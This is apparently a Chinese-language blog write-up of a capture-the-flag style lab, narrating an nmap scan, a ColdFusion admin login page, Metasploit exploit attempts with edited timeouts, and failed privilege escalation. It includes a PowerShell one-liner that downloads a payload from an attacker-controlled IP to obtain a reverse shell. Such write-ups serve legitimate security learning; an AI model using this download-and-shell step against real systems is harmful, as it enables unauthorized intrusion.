信息收集
经过nmap扫描后只发现了如下信息。
并且在这几个端口中有一个fmtp服务有点区别,去浏览器看看呢,加载有点慢。
在CFIDE里看到了Administrator
文件。
加载完后出现ColdFusion
登陆界面。
目前收集到的信息就这么多。
开机
先去exploit-db看看
再去msf看看
先试试两个excellent的,第一个因为未知原因上传失败,猜测可能是延时问题导致失败,修改时间后任然失败,换下一个。
这一个也是失败,考虑是延时,去源代码修改延时。
把这两个5修改大一点。
修改完保存后回到msf,先执行reload重载payload,再运行。
想要提权的时候发现此任务无法切换至后台,那就搜集些信息弄个踏板。
先找到CFIDE所在位置,一眼看到wwwroot
,然后生成……为什么我不直接生成.exe呢,都到wwwroot了就在这里接收算了。
powershell "(new-object System.Net.WebClient).Downloadfile('http://IP/文件名', '文件名')"
获取了反弹shell后使用suggester会出现报错说用户中断了,然而我啥也没操作。
怀疑可能是这个反弹shell是32位而目标是64位,换!
64位也是如此,我照样也没有操作,也报错说用户中断操作了,行吧。
只能求助攻略了。(请原谅博主太笨,不知道解决办法)